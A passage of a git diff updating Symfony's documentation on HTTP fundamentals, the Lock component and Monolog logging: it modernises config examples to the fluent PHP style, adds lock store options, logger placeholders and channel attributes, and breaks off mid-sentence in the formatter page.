></object> Where Symfony Delivers ---------------------- @@ -681,11 +676,8 @@ migrating the blog from flat PHP to Symfony has improved your life: :doc:`routing </routing>`, or rendering :doc:`controllers </controller>`; * Symfony gives you **access to open source tools** such as `Doctrine`_ and the - `Templating`_, - :doc:`Security </components/security>`, - :doc:`Form </components/form>`, `Validator`_ and - `Translation`_ components (to name - a few); + `Twig`_, :doc:`Security </security>`, :doc:`Form </components/form>`, + `Validator`_ and `Translation`_ components (to name a few); * The application now enjoys **fully-flexible URLs** thanks to the Routing component; @@ -701,7 +693,7 @@ A good selection of `Symfony community tools`_ can be found on GitHub. .. _`Model-View-Controller`: https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller .. _`Doctrine`: https://www.doctrine-project.org/ -.. _Templating: https://github.com/symfony/templating +.. _Twig: https://github.com/twigphp/twig .. _Translation: https://github.com/symfony/translation .. _`Composer`: https://getcomposer.org .. _`download Composer`: https://getcomposer.org/download/ diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst index 5e11f44c007..d9f308433d0 100644 --- a/introduction/http_fundamentals.rst +++ b/introduction/http_fundamentals.rst @@ -1,6 +1,3 @@ -.. index:: - single: Symfony Fundamentals - .. _symfony2-and-http-fundamentals: Symfony and HTTP Fundamentals @@ -20,8 +17,11 @@ HTTP (Hypertext Transfer Protocol) is a text language that allows two machines to communicate with each other. For example, when checking for the latest `xkcd`_ comic, the following (approximate) conversation takes place: -.. image:: /_images/http/xkcd-full.png - :align: center +.. raw:: html + + <object data="../_images/http/xkcd-full.svg" type="image/svg+xml" + alt="A sequence diagram showing the browser sending "Can I see today's comic?" to the xkcd server. The server prepares the page's HTML and sents it back to the browser." + ></object> HTTP is the term used to describe this text-based language. The goal of your server is *always* to understand text requests and return text responses. @@ -30,9 +30,6 @@ Symfony is built from the ground up around that reality. Whether you realize it or not, HTTP is something you use every day. With Symfony, you'll learn how to master it. -.. index:: - single: HTTP; Request-response paradigm - Step 1: The Client Sends a Request ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -44,8 +41,11 @@ and then waits for the response. Take a look at the first part of the interaction (the request) between a browser and the xkcd web server: -.. image:: /_images/http/xkcd-request.png - :align: center +.. raw:: html + + <object data="../_images/http/xkcd-request.svg" type="image/svg+xml" + alt="A sequence diagram showing the request from browser to the xkcd server." + ></object> In HTTP-speak, this HTTP request would actually look something like this: @@ -106,8 +106,11 @@ client needs (via the URI) and what the client wants to do with that resource prepares the resource and returns it in an HTTP response. Consider the response from the xkcd web server: -.. image:: /_images/http/xkcd-full.png - :align: center +.. raw:: html + + <object data="../_images/http/xkcd-full.svg" type="image/svg+xml" + alt="The full sequence diagram with the xkcd server sending the page's HTML back to the browser." + ></object> Translated into HTTP, the response sent back to the browser will look something like this: @@ -159,9 +162,6 @@ each request and create and return the appropriate response. or the `HTTP Bis`_, which is an active effort to clarify the original specification. -.. index:: - single: Symfony Fundamentals; Requests and responses - Requests and Responses in PHP ----------------------------- @@ -216,7 +216,7 @@ have all the request information at your fingertips:: // retrieves $_GET and $_POST variables respectively $request->query->get('id'); - $request->request->get('category', 'default category'); + $request->getPayload()->get('category', 'default category'); // retrieves $_SERVER variables $request->server->get('HTTP_HOST'); @@ -234,10 +234,10 @@ have all the request information at your fingertips:: $request->getMethod(); // e.g. GET, POST, PUT, DELETE or HEAD $request->getLanguages(); // an array of languages the client accepts -As a bonus, the ``Request`` class does a lot of work in the background that -you'll never need to worry about. For example, the ``isSecure()`` method +As a bonus, the ``Request`` class does a lot of work in the background about which +you will never need to worry. For example, the ``isSecure()`` method checks the *three* different values in PHP that can indicate whether or not -the user is connecting via a secured connection (i.e. HTTPS). +the user is connecting via a secure connection (i.e. HTTPS). Symfony Response Object ~~~~~~~~~~~~~~~~~~~~~~~ @@ -293,9 +293,6 @@ content with security. How can you manage all of this and still keep your code organized and maintainable? Symfony was created to help you with these problems. -.. index:: - single: Front controller; Origins - The Front Controller ~~~~~~~~~~~~~~~~~~~~ @@ -347,9 +344,6 @@ A small front controller might look like this:: This is better, but this is still a lot of repeated work! Fortunately, Symfony can help once again. -.. index:: - single: HTTP; Symfony request flow - The Symfony Application Flow ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -361,7 +355,9 @@ to do: .. raw:: html - <object data="../_images/http/request-flow.svg" type="image/svg+xml"></object> + <object data="../_images/http/request-flow.svg" type="image/svg+xml" + alt="A flow diagram visualizing the request-response flow. Each step is written out in text in the next section." + ></object> Incoming requests are interpreted by the :doc:`Routing component </routing>` and passed to PHP functions that return ``Response`` objects. @@ -387,8 +383,8 @@ Here's what we've learned so far: .. _`xkcd`: https://xkcd.com/ .. _`XMLHttpRequest`: https://en.wikipedia.org/wiki/XMLHttpRequest -.. _`HTTP 1.1 RFC`: http://www.w3.org/Protocols/rfc2616/rfc2616.html -.. _`HTTP Bis`: http://datatracker.ietf.org/wg/httpbis/ +.. _`HTTP 1.1 RFC`: https://www.w3.org/Protocols/rfc2616/rfc2616.html +.. _`HTTP Bis`: https://datatracker.ietf.org/wg/httpbis/ .. _`List of HTTP header fields`: https://en.wikipedia.org/wiki/List_of_HTTP_header_fields .. _`list of HTTP status codes`: https://en.wikipedia.org/wiki/List_of_HTTP_status_codes .. _`List of common media types`: https://www.iana.org/assignments/media-types/media-types.xhtml diff --git a/lock.rst b/lock.rst index 92fa69cc526..3b9f1692df4 100644 --- a/lock.rst +++ b/lock.rst @@ -1,18 +1,15 @@ -.. index:: - single: Lock - Dealing with Concurrency with Locks =================================== -When a program runs concurrently, some part of code which modify shared +When a program runs concurrently, some parts of code that modify shared resources should not be accessed by multiple processes at the same time. Symfony's :doc:`Lock component </components/lock>` provides a locking mechanism to ensure that only one process is running the critical section of code at any point of -time to prevent race condition from happening. +time to prevent race conditions from happening. The following example shows a typical usage of the lock:: - $lock = $lockFactory->createLock('pdf-invoice-generation'); + $lock = $lockFactory->createLock('pdf-creation'); if (!$lock->acquire()) { return; } @@ -22,8 +19,8 @@ The following example shows a typical usage of the lock:: $lock->release(); -Installation ------------- +Installing +---------- In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to install the Lock component: @@ -32,8 +29,8 @@ install the Lock component: $ composer require symfony/lock -Configuring Lock with FrameworkBundle -------------------------------------- +Configuring +----------- By default, Symfony provides a :ref:`Semaphore <lock-store-semaphore>` when available, or a :ref:`Flock <lock-store-flock>` otherwise. You can configure @@ -53,16 +50,20 @@ this behavior by using the ``lock`` key like: lock: ['memcached://m1.docker', 'memcached://m2.docker'] lock: 'redis://r1.docker' lock: ['redis://r1.docker', 'redis://r2.docker'] + lock: 'rediss://r1.docker?ssl[verify_peer]=1&ssl[cafile]=...' lock: 'zookeeper://z1.docker' lock: 'zookeeper://z1.docker,z2.docker' + lock: 'zookeeper://localhost01,localhost02:2181' lock: 'sqlite:///%kernel.project_dir%/var/lock.db' lock: 'mysql:host=127.0.0.1;dbname=app' lock: 'pgsql:host=127.0.0.1;dbname=app' - lock: 'pgsql+advisory:host=127.0.0.1;dbname=lock' + lock: 'pgsql+advisory:host=127.0.0.1;dbname=app' lock: 'sqlsrv:server=127.0.0.1;Database=app' lock: 'oci:host=127.0.0.1;dbname=app' lock: 'mongodb://127.0.0.1/app?collection=lock' lock: '%env(LOCK_DSN)%' + # using an existing service + lock: 'snc_redis.default' # named locks lock: @@ -102,13 +103,15 @@ this behavior by using the ``lock`` key like: <framework:resource>zookeeper://z1.docker,z2.docker</framework:resource> + <framework:resource>zookeeper://localhost01,localhost02:2181</framework:resource> + <framework:resource>sqlite:///%kernel.project_dir%/var/lock.db</framework:resource> <framework:resource>mysql:host=127.0.0.1;dbname=app</framework:resource> <framework:resource>pgsql:host=127.0.0.1;dbname=app</framework:resource> - <framework:resource>pgsql+advisory:host=127.0.0.1;dbname=lock</framework:resource> + <framework:resource>pgsql+advisory:host=127.0.0.1;dbname=app</framework:resource> <framework:resource>sqlsrv:server=127.0.0.1;Database=app</framework:resource> @@ -118,6 +121,9 @@ this behavior by using the ``lock`` key like: <framework:resource>%env(LOCK_DSN)%</framework:resource> + <!-- using an existing service --> + <framework:resource>snc_redis.default</framework:resource> + <!-- named locks --> <framework:resource name="invoice">semaphore</framework:resource> <framework:resource name="invoice">redis://r2.docker</framework:resource> @@ -129,51 +135,59 @@ this behavior by using the ``lock`` key like: .. code-block:: php // config/packages/lock.php - $container->loadFromExtension('framework', [ - 'lock' => null, - 'lock' => 'flock', - 'lock' => 'flock:///path/to/file', - 'lock' => 'semaphore', - 'lock' => 'memcached://m1.docker', - 'lock' => ['memcached://m1.docker', 'memcached://m2.docker'], - 'lock' => 'redis://r1.docker', - 'lock' => ['redis://r1.docker', 'redis://r2.docker'], - 'lock' => 'zookeeper://z1.docker', - 'lock' => 'zookeeper://z1.docker,z2.docker', - 'lock' => 'sqlite:///%kernel.project_dir%/var/lock.db', - 'lock' => 'mysql:host=127.0.0.1;dbname=app', - 'lock' => 'pgsql:host=127.0.0.1;dbname=app', - 'lock' => 'pgsql+advisory:host=127.0.0.1;dbname=lock', - 'lock' => 'sqlsrv:server=127.0.0.1;Database=app', - 'lock' => 'oci:host=127.0.0.1;dbname=app', - 'lock' => 'mongodb://127.0.0.1/app?collection=lock', - 'lock' => '%env(LOCK_DSN)%', - - // named locks - 'lock' => [ - 'invoice' => ['semaphore', 'redis://r2.docker'], - 'report' => 'semaphore', - ], - ]); + use Symfony\Config\FrameworkConfig; + use function Symfony\Component\DependencyInjection\Loader\Configurator\env; + + return static function (FrameworkConfig $framework): void { + $framework->lock() + ->resource('default', ['flock']) + ->resource('default', ['flock:///path/to/file']) + ->resource('default', ['semaphore']) + ->resource('default', ['memcached://m1.docker']) + ->resource('default', ['memcached://m1.docker', 'memcached://m2.docker']) + ->resource('default', ['redis://r1.docker']) + ->resource('default', ['redis://r1.docker', 'redis://r2.docker']) + ->resource('default', ['zookeeper://z1.docker']) + ->resource('default', ['zookeeper://z1.docker,z2.docker']) + ->resource('default', ['zookeeper://localhost01,localhost02:2181']) + ->resource('default', ['sqlite:///%kernel.project_dir%/var/lock.db']) + ->resource('default', ['mysql:host=127.0.0.1;dbname=app']) + ->resource('default', ['pgsql:host=127.0.0.1;dbname=app']) + ->resource('default', ['pgsql+advisory:host=127.0.0.1;dbname=app']) + ->resource('default', ['sqlsrv:server=127.0.0.1;Database=app']) + ->resource('default', ['oci:host=127.0.0.1;dbname=app']) + ->resource('default', ['mongodb://127.0.0.1/app?collection=lock']) + ->resource('default', [env('LOCK_DSN')]) + // using an existing service + ->resource('default', ['snc_redis.default']) + + // named locks + ->resource('invoice', ['semaphore', 'redis://r2.docker']) + ->resource('report', ['semaphore']) + ; + }; + +.. versionadded:: 7.2 + + The option to use an existing service as the lock/semaphore was introduced in Symfony 7.2. Locking a Resource ------------------ To lock the default resource, autowire the lock factory using -:class:`Symfony\\Component\\Lock\\LockFactory` (service id ``lock.factory``):: +:class:`Symfony\\Component\\Lock\\LockFactory`:: // src/Controller/PdfController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Lock\LockFactory; class PdfController extends AbstractController { - /** - * @Route("/download/terms-of-use.pdf") - */ - public function downloadPdf(LockFactory $factory, MyPdfGeneratorService $pdf) + #[Route('/download/terms-of-use.pdf')] + public function downloadPdf(LockFactory $factory, MyPdfGeneratorService $pdf): Response { $lock = $factory->createLock('pdf-creation'); $lock->acquire(true); @@ -187,7 +201,7 @@ To lock the default resource, autowire the lock factory using } } -.. caution:: +.. warning:: The same instance of ``LockInterface`` won't block when calling ``acquire`` multiple times inside the same process. When several services use the @@ -198,25 +212,24 @@ Locking a Dynamic Resource -------------------------- Sometimes the application is able to cut the resource into small pieces in order -to lock a small subset of process and let other through. In our previous example -with see how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody, -now let's see how to lock ``$pdf->getOrCreatePdf($version)`` only for +to lock a small subset of processes and let others through. The previous example +showed how to lock the ``$pdf->getOrCreatePdf()`` call for everybody, +now let's see how to lock a ``$pdf->getOrCreatePdf($version)`` call only for processes asking for the same ``$version``:: // src/Controller/PdfController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Lock\LockFactory; class PdfController extends AbstractController { - /** - * @Route("/download/{version}/terms-of-use.pdf") - */ - public function downloadPdf($version, LockFactory $lockFactory, MyPdfGeneratorService $pdf) + #[Route('/download/{version}/terms-of-use.pdf')] + public function downloadPdf($version, LockFactory $lockFactory, MyPdfGeneratorService $pdf): Response { - $lock = $lockFactory->createLock($version); + $lock = $lockFactory->createLock('pdf-creation-'.$version); $lock->acquire(true); // heavy computation @@ -228,11 +241,13 @@ processes asking for the same ``$version``:: } } -Named Lock ----------- +.. _lock-named-locks: + +Naming Locks +------------ If the application needs different kind of Stores alongside each other, Symfony -provides :ref:`named lock <reference-lock-resources-name>`:: +provides :ref:`named lock <reference-lock-resources-name>`: .. configuration-block:: @@ -267,29 +282,34 @@ provides :ref:`named lock <reference-lock-resources-name>`:: .. code-block:: php // config/packages/lock.php - $container->loadFromExtension('framework', [ - 'lock' => [ - 'invoice' => ['semaphore', 'redis://r2.docker'], - 'report' => 'semaphore', - ], - ]); - -Each name becomes a service where the service id is part of the name of the -lock (e.g. ``lock.invoice.factory``). An autowiring alias is also created for -each lock using the camel case version of its name suffixed by ``LockFactory`` -- e.g. ``invoice`` can be injected automatically by naming the argument -``$invoiceLockFactory`` and type-hinting it with -:class:`Symfony\\Component\\Lock\\LockFactory`. + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->lock() + ->resource('invoice', ['semaphore', 'redis://r2.docker']) + ->resource('report', ['semaphore']); + ; + }; + +An autowiring alias is created for each named lock with a name using the camel +case version of its name suffixed by ``LockFactory``. -Blocking Store --------------- +For instance, the ``invoice`` lock can be injected by naming the argument +``$invoiceLockFactory`` and type-hinting it with +:class:`Symfony\\Component\\Lock\\LockFactory`:: -If you want to use the ``RetryTillSaveStore`` for :ref:`non-blocking locks <lock-blocking-locks>`, -you can do it by :doc:`decorating the store </service_container/service_decoration>` service: + // src/Controller/PdfController.php + namespace App\Controller; -.. code-block:: yaml + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Lock\LockFactory; - lock.default.retry_till_save.store: - class: Symfony\Component\Lock\Store\RetryTillSaveStore - decorates: lock.default.store - arguments: ['@lock.default.retry_till_save.store.inner', 100, 50] + class PdfController extends AbstractController + { + #[Route('/download/terms-of-use.pdf')] + public function downloadPdf(LockFactory $invoiceLockFactory, MyPdfGeneratorService $pdf): Response + { + // ... + } + } diff --git a/logging.rst b/logging.rst index 4cfb46581ad..0ad36031dd5 100644 --- a/logging.rst +++ b/logging.rst @@ -1,9 +1,10 @@ Logging ======= -Symfony comes with a minimalist `PSR-3`_ logger: :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`. -In conformance with `the twelve-factor app methodology`_, it sends messages starting from the -``WARNING`` level to `stderr`_. +Symfony comes with two minimalist `PSR-3`_ loggers: :class:`Symfony\\Component\\HttpKernel\\Log\\Logger` +for the HTTP context and :class:`Symfony\\Component\\Console\\Logger\\ConsoleLogger` for the +CLI context. In conformance with `the twelve-factor app methodology`_, they send messages +starting from the ``WARNING`` level to `stderr`_. The minimal log level can be changed by setting the ``SHELL_VERBOSITY`` environment variable: @@ -17,21 +18,33 @@ The minimal log level can be changed by setting the ``SHELL_VERBOSITY`` environm ========================= ================= The minimum log level, the default output and the log format can also be changed by -passing the appropriate arguments to the constructor of :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`. -To do so, :ref:`override the "logger" service definition <service-psr4-loader>`. +passing the appropriate arguments to the constructor of :class:`Symfony\\Component\\HttpKernel\\Log\\Logger` +and :class:`Symfony\\Component\\Console\\Logger\\ConsoleLogger`. + +The :class:`Symfony\\Component\\HttpKernel\\Log\\Logger` class is available through the ``logger`` service. +To pass your configuration, you can :ref:`override the "logger" service definition <service-psr4-loader>`. + +For more information about ``ConsoleLogger``, see :doc:`/components/console/logger`. Logging a Message ----------------- -To log a message, inject the default logger in your controller:: +To log a message, inject the default logger in your controller or service:: use Psr\Log\LoggerInterface; + // ... - public function index(LoggerInterface $logger) + public function index(LoggerInterface $logger): Response { $logger->info('I just got the logger'); $logger->error('An error occurred'); + // log messages can also contain placeholders, which are variable names + // wrapped in braces whose values are passed as the second argument + $logger->debug('User {userId} has logged in', [ + 'userId' => $this->getUserId(), + ]); + $logger->critical('I left the oven on!', [ // include extra "context" info in your logs 'cause' => 'in_hurry', @@ -40,6 +53,14 @@ To log a message, inject the default logger in your controller:: // ... } +Adding placeholders to log messages is recommended because: + +* It's easier to check log messages because many logging tools group log messages + that are the same except for some variable values inside them; +* It's much easier to translate those log messages; +* It's better for security, because escaping can then be done by the + implementation in a context-aware fashion. + The ``logger`` service has different methods for different logging levels/priorities. See `LoggerInterface`_ for a list of all of the methods on the logger. @@ -64,13 +85,15 @@ The following sections assume that Monolog is installed. Where Logs are Stored --------------------- -By default, log entries are written to the ``var/log/dev.log`` file when you're in -the ``dev`` environment. In the ``prod`` environment, logs are written to ``var/log/prod.log``, -but *only* during a request where an error or high-priority log entry was made -(i.e. ``error()`` , ``critical()``, ``alert()`` or ``emergency()``). +By default, log entries are written to the ``var/log/dev.log`` file when you're +in the ``dev`` environment. -To control this, you'll configure different *handlers* that handle log entries, sometimes -modify them, and ultimately store them. +In the ``prod`` environment, logs are written to `STDERR PHP stream`_, which +works best in modern containerized applications deployed to servers without +disk write permissions. + +If you prefer to store production logs in a file, set the ``path`` of your +log handler(s) to the path of the file to use (e.g. ``var/log/prod.log``). Handlers: Writing Logs to different Locations --------------------------------------------- @@ -138,27 +161,36 @@ to write logs using the :phpfunction:`syslog` function: .. code-block:: php // config/packages/prod/monolog.php - $container->loadFromExtension('monolog', [ - 'handlers' => [ - // this "file_log" key could be anything - 'file_log' => [ - 'type' => 'stream', - // log to var/logs/(environment).log - 'path' => '%kernel.logs_dir%/%kernel.environment%.log', - // log *all* messages (debug is lowest level) - 'level' => 'debug', - ], - 'syslog_handler' => [ - 'type' => 'syslog', - // log error-level messages and higher - 'level' => 'error', - ], - ], - ]); + use Psr\Log\LogLevel; + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog): void { + // this "file_log" key could be anything + $monolog->handler('file_log') + ->type('stream') + // log to var/logs/(environment).log + ->path('%kernel.logs_dir%/%kernel.environment%.log') + // log *all* messages (LogLevel::DEBUG is lowest level) + ->level(LogLevel::DEBUG); + + $monolog->handler('syslog_handler') + ->type('syslog') + // log error-level messages and higher + ->level(LogLevel::ERROR); + }; This defines a *stack* of handlers and each handler is called in the order that it's defined. +.. note:: + + If you want to override the ``monolog`` configuration via another config + file, you will need to redefine the entire ``handlers`` stack. The configuration + from the two files cannot be merged because the order matters and a merge does + not allow you to control the order. + +.. _logging-handler-fingers_crossed: + Handlers that Modify Log Entries ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -229,31 +261,32 @@ one of the messages reaches an ``action_level``. Take this example: .. code-block:: php // config/packages/prod/monolog.php - $container->loadFromExtension('monolog', [ - 'handlers' => [ - 'filter_for_errors' => [ - 'type' => 'fingers_crossed', - // if *one* log is error or higher, pass *all* to file_log - 'action_level' => 'error', - 'handler' => 'file_log', - ], - - // now passed *all* logs, but only if one log is error or higher - 'file_log' => [ - 'type' => 'stream', - 'path' => '%kernel.logs_dir%/%kernel.environment%.log', - 'level' => 'debug', - ], - - // still passed *all* logs, and still only logs error or higher - 'syslog_handler' => [ - 'type' => 'syslog', - 'level' => 'error', - ], - ], - ]); - -Now, if even one log entry has an ``error`` level or higher, then *all* log entries + use Psr\Log\LogLevel; + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog): void { + $monolog->handler('filter_for_errors') + ->type('fingers_crossed') + // if *one* log is error or higher, pass *all* to file_log + ->actionLevel(LogLevel::ERROR) + ->handler('file_log') + ; + + // now passed *all* logs, but only if one log is error or higher + $monolog->handler('file_log') + ->type('stream') + ->path('%kernel.logs_dir%/%kernel.environment%.log') + ->level(LogLevel::DEBUG) + ; + + // still passed *all* logs, and still only logs error or higher + $monolog->handler('syslog_handler') + ->type('syslog') + ->level(LogLevel::ERROR) + ; + }; + +Now, if even one log entry has an ``LogLevel::ERROR`` level or higher, then *all* log entries for that request are saved to a file via the ``file_log`` handler. That means that your log file will contain *all* the details about the problematic request - making debugging much easier! @@ -263,13 +296,6 @@ debugging much easier! The handler named "file_log" will not be included in the stack itself as it is used as a nested handler of the ``fingers_crossed`` handler. -.. note:: - - If you want to override the ``monolog`` configuration via another config - file, you will need to redefine the entire ``handlers`` stack. The configuration - from the two files cannot be merged because the order matters and a merge does - not allow to control the order. - All Built-in Handlers --------------------- @@ -331,18 +357,18 @@ option of your handler to ``rotating_file``: .. code-block:: php // config/packages/prod/monolog.php - $container->loadFromExtension('monolog', [ - 'handlers' => [ - 'main' => [ - 'type' => 'rotating_file', - 'path' => '%kernel.logs_dir%/%kernel.environment%.log', - 'level' => 'debug', - // max number of log files to keep - // defaults to zero, which means infinite files - 'max_files' => 10, - ], - ], - ]); + use Psr\Log\LogLevel; + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog): void { + $monolog->handler('main') + ->type('rotating_file') + ->path('%kernel.logs_dir%/%kernel.environment%.log') + ->level(LogLevel::DEBUG) + // max number of log files to keep + // defaults to zero, which means infinite files + ->maxFiles(10); + }; Using a Logger inside a Service ------------------------------- @@ -365,6 +391,15 @@ information to your log entries. See :doc:`/logging/processors` for details. +Handling Logs in Long Running Processes +--------------------------------------- + +During long running processes, logs can be accumulated into Monolog and cause some +buffer overflow, memory increase or even non logical logs. Monolog in-memory data +can be cleared using the ``reset()`` method on a ``Monolog\Logger`` instance. +This should typically be called between every job or task that a long running process +is working through. + Learn more ---------- @@ -379,15 +414,11 @@ Learn more logging/monolog_exclude_http_codes logging/monolog_console -.. toctree:: - :hidden: - - logging/monolog_regex_based_excludes - .. _`the twelve-factor app methodology`: https://12factor.net/logs -.. _PSR-3: https://www.php-fig.org/psr/psr-3/ +.. _`PSR-3`: https://www.php-fig.org/psr/psr-3/ .. _`stderr`: https://en.wikipedia.org/wiki/Standard_streams#Standard_error_(stderr) -.. _Monolog: https://github.com/Seldaek/monolog -.. _LoggerInterface: https://github.com/php-fig/log/blob/master/Psr/Log/LoggerInterface.php +.. _`Monolog`: https://github.com/Seldaek/monolog +.. _`LoggerInterface`: https://github.com/php-fig/log/blob/master/src/LoggerInterface.php .. _`logrotate`: https://github.com/logrotate/logrotate .. _`Monolog Configuration`: https://github.com/symfony/monolog-bundle/blob/master/DependencyInjection/Configuration.php#L25 +.. _`STDERR PHP stream`: https://www.php.net/manual/en/features.commandline.io-streams.php diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst index b206c1c5137..3cac1d01ba5 100644 --- a/logging/channels_handlers.rst +++ b/logging/channels_handlers.rst @@ -1,6 +1,3 @@ -.. index:: - single: Logging - How to Log Messages to different Files ====================================== @@ -26,27 +23,27 @@ Switching a Channel to a different Handler Now, suppose you want to log the ``security`` channel to a different file. To do this, create a new handler and configure it to log only messages from the ``security`` channel. The following example does that only in the -``prod`` :ref:`configuration environment <configuration-environments>` but you -can do it in any (or all) environments: +``prod`` :ref:`configuration environment <configuration-environments>`: .. configuration-block:: .. code-block:: yaml - # config/packages/prod/monolog.yaml - monolog: - handlers: - security: - # log all messages (since debug is the lowest level) - level: debug - type: stream - path: '%kernel.logs_dir%/security.log' - channels: [security] - - # an example of *not* logging security channel messages for this handler - main: - # ... - # channels: ['!security'] + # config/packages/monolog.yaml + when@prod: + monolog: + handlers: + security: + # log all messages (since debug is the lowest level) + level: debug + type: stream + path: '%kernel.logs_dir%/security.log' + channels: [security] + + # an example of *not* logging security channel messages for this handler + main: + # ... + # channels: ['!security'] .. code-block:: xml @@ -59,12 +56,15 @@ can do it in any (or all) environments: http://symfony.com/schema/dic/monolog https://symfony.com/schema/dic/monolog/monolog-1.0.xsd"> - <monolog:config> - <monolog:handler name="security" type="stream" path="%kernel.logs_dir%/security.log"> - <monolog:channels> - <monolog:channel>security</monolog:channel> - </monolog:channels> - </monolog:handler> + <when env="prod"> + <monolog:config> + <monolog:handler name="security" type="stream" path="%kernel.logs_dir%/security.log"> + <monolog:channels> + <monolog:channel>security</monolog:channel> + </monolog:channels> + </monolog:handler> + </monolog:config> + </when> <monolog:handler name="main" type="stream" path="%kernel.logs_dir%/main.log"> <!-- ... --> @@ -78,35 +78,33 @@ can do it in any (or all) environments: .. code-block:: php // config/packages/prod/monolog.php - $container->loadFromExtension('monolog', [ - 'handlers' => [ - 'security' => [ - 'type' => 'stream', - 'path' => '%kernel.logs_dir%/security.log', - 'channels' => [ - 'security', - ], - ], - 'main' => [ - // ... - 'channels' => [ - '!security', - ], - ], - ], - ]); - -.. caution:: + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog, ContainerConfigurator $container) { + if ('prod' === $container->env()) { + $monolog->handler('security') + ->type('stream') + ->path(param('kernel.logs_dir') . \DIRECTORY_SEPARATOR . 'security.log') + ->channels()->elements(['security']); + + $monolog->handler('main') + // ... + + ->channels()->elements(['!security']); + } + }; + +.. warning:: The ``channels`` configuration only works for top-level handlers. Handlers that are nested inside a group, buffer, filter, fingers crossed or other such handler will ignore this configuration and will process every message passed to them. -YAML Specification ------------------- +.. _yaml-specification: -You can specify the configuration by many forms: +You can specify the configuration in different ways: .. code-block:: yaml @@ -139,13 +137,13 @@ You can also configure additional channels without the need to tag your services .. code-block:: yaml - # config/packages/prod/monolog.yaml + # config/packages/monolog.yaml monolog: - channels: ['foo', 'bar'] + channels: ['foo', 'bar', 'foo_bar'] .. code-block:: xml - <!-- config/packages/prod/monolog.xml --> + <!-- config/packages/monolog.xml --> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:monolog="http://symfony.com/schema/dic/monolog" @@ -157,18 +155,18 @@ You can also configure additional channels without the need to tag your services <monolog:config> <monolog:channel>foo</monolog:channel> <monolog:channel>bar</monolog:channel> + <monolog:channel>foo_bar</monolog:channel> </monolog:config> </container> .. code-block:: php - // config/packages/prod/monolog.php - $container->loadFromExtension('monolog', [ - 'channels' => [ - 'foo', - 'bar', - ], - ]); + // config/packages/monolog.php + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog): void { + $monolog->channels(['foo', 'bar', 'foo_bar']); + }; Symfony automatically registers one service per channel (in this example, the channel ``foo`` creates a service called ``monolog.logger.foo``). In order to @@ -182,15 +180,49 @@ How to Autowire Logger Channels Starting from `MonologBundle`_ 3.5 you can autowire different Monolog channels by type-hinting your service arguments with the following syntax: -``Psr\Log\LoggerInterface $<channel>Logger``. For example, to inject the service -related to the ``app`` logger channel use this: +``Psr\Log\LoggerInterface $<camelCased channel name> + Logger``. The ``<channel>`` +must have been :ref:`predefined in your Monolog configuration <monolog-channels-config>`. + +For example to inject the service related to the ``foo_bar`` logger channel, +change your constructor like this: .. code-block:: diff - - public function __construct(LoggerInterface $logger) - + public function __construct(LoggerInterface $appLogger) + public function __construct( + - LoggerInterface $logger, + + LoggerInterface $fooBarLogger, + ) { + } + +Configure Logger Channels with Attributes +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Starting from `Monolog`_ 3.5 you can also configure the logger channel +by using the ``#[WithMonologChannel]`` attribute directly on your service +class:: + + // src/Service/MyFixtureService.php + namespace App\Service; + + use Monolog\Attribute\WithMonologChannel; + use Psr\Log\LoggerInterface; + use Symfony\Bridge\Monolog\Logger; + + #[WithMonologChannel('fixtures')] + class MyFixtureService + { + public function __construct(LoggerInterface $logger) { - $this->logger = $appLogger; + // ... } + } + +This way you can avoid declaring your service manually to use a specific +channel. + +.. versionadded:: 3.5 + + The ``#[WithMonologChannel]`` attribute was introduced in Monolog 3.5.0. .. _`MonologBundle`: https://github.com/symfony/monolog-bundle +.. _`Monolog`: https://github.com/Seldaek/monolog diff --git a/logging/formatter.rst b/logging/formatter.rst index b41cd7ad06e..6f2bfc7906c 100644 --- a/logging/formatter.rst +++ b/logging/formatter.rst @@ -23,7 +23,7 @@ configure your handler to use it: .. code-block:: xml - <!-- config/services.xml --> + <!-- config/packages/prod/monolog.xml (and/or config/packages/dev/monolog.xml) --> <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" @@ -33,7 +33,6 @@ configure your handler to use it: http://symfony.com/schema/dic/monolog https://symfony.com/schema/dic/monolog/monolog-1.0.xsd"> - <!-- config/packages/prod/monolog.xml (and/or config/packages/dev/monolog.xml) --> <monolog:config> <monolog:handler name="file" @@ -46,16 +45,27 @@ configure your handler to use it: .. code-block:: php - // config/services.php - use Monolog\Formatter\JsonFormatter; - // config/packages/prod/monolog.php (and/or config/packages/dev/monolog.php) - $container->loadFromExtension('monolog', [ - 'handlers' => [ - 'file' => [ - 'type' => 'stream', - 'level' => 'debug', - 'formatter' => 'monolog.formatter.json', - ], - ], - ]); + use Symfony\Config\MonologConfig; + + return static function (MonologConfig $monolog): void { + $monolog->handler('file') + ->type('stream') + ->level('debug') + ->formatter('monolog.formatter.json') + ; + }; + +Many built-in formatters are available in Monolog. A lot of them are declared as services +and can be used in the ``formatter`` option: + +* ``monolog.formatter.chrome_php``: formats a record according to the 